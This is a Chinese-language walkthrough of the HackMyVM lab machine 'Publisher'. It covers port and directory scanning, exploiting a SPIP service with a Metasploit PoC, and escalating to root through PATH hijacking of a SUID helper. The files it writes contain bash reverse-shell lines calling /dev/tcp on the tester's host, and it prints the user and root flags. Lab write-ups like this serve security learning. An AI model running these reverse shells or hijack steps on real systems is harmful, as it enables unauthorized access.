简介
靶机名称:Publisher
难度:简单
靶场地址:https://hackmyvm.eu/machines/machine.php?vm=Publisher
本地环境
虚拟机:vitual box
靶场IP(Publisher):192.168.56.123
跳板机IP(windows 11):192.168.56.1 192.168.190.100
渗透机IP(kali):192.168.190.131
扫描
nmap有点慢,fscan先探路
fscan -h 192.168.56.123 -nobr -p "1-65535"
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
192.168.56.123:22 open
192.168.56.123:110 open
192.168.56.123:80 open
192.168.56.123:25 open
没有22还是挺意外的。
HTTP
spip服务
路径扫描一下,发现主要服务布置在/spip/
路径下
feroxbuster -u http://192.168.56.123/ -t 20 -w $HVV_Tool/8_dict/seclist/Discovery/Web-Content/directory-list-2.3-medium.txt -C 500
msf中找到poc,直接打
think用户目录下有user.txt
fa229046d44eda6a3598c73ad96f4ca5
提权
我们对think的ssh私钥有读取权限。直接拉下来,ssh登陆上去
ssh think@192.168.56.123 -i ./id_rsa
值得一提的是,think用户执行linpeas识别不到容器环境,也无法在根目录找到.dockerenv文件夹,但是www-data用户就可以……除此之外think还有大大小小的限制,少见的web用户还能比普通用户权限更高
查看SUID权限,发现有一个run_container可以用
find / -perm -u=s -type f 2>/dev/null
无法运行,但至少可读。拉下来看一下
总之就是会执行一下/opt/run_container.sh
这个脚本文件。很神奇我们连查看权限都没有,但就是能执行。
不知道ID的话,就重新进入www-data
用户,查/etc/hosts
41c976e507f8
随便输入的话,还会看到有一个对脚本16行的报错。因为缺失这个命令,我们可以尝试通过PATH进行劫持。
think@publisher:/tmp$ touch validate_container_id
think@publisher:/tmp$ vim validate_container_id
think@publisher:/tmp$ cat validate_container_id
bash -i &>/dev/tcp/192.168.56.1/30000 <&1
think@publisher:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
think@publisher:/tmp$ PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/tmp
然后就发现我们对run_container.sh有完全的控制权了
往run_container.sh中写入提权命令,然后执行bash -p即可
think@publisher:/opt$ cat run_container.sh
cat run_container.sh
#!/bin/bash
bash -c "bash -i >& /dev/tcp/192.168.56.1/40000 0>&1"
think@publisher:/opt$ /usr/sbin/run_container
/usr/sbin/run_container
think@publisher:/opt$ bash -p
bash -p
bash-5.0# id
id
uid=1000(think) gid=1000(think) euid=0(root) egid=0(root) groups=0(root),1000(think)
bash-5.0# cat /root/root.txt
cat /root/root.txt
3a4225cc9e85709adda6ef55d6a4f2ca
over
后记
还是有点疑惑的,/usr/sbin/run_container 的SUID是root,但是通过它执行反弹shell却仍然是think用户。
除此之外,可以从一些痕迹看出来我们拿到的shell是受限shell,但并不是很明确其是如何实现对think用户无法访问opt文件夹的限制。感觉就是很神奇。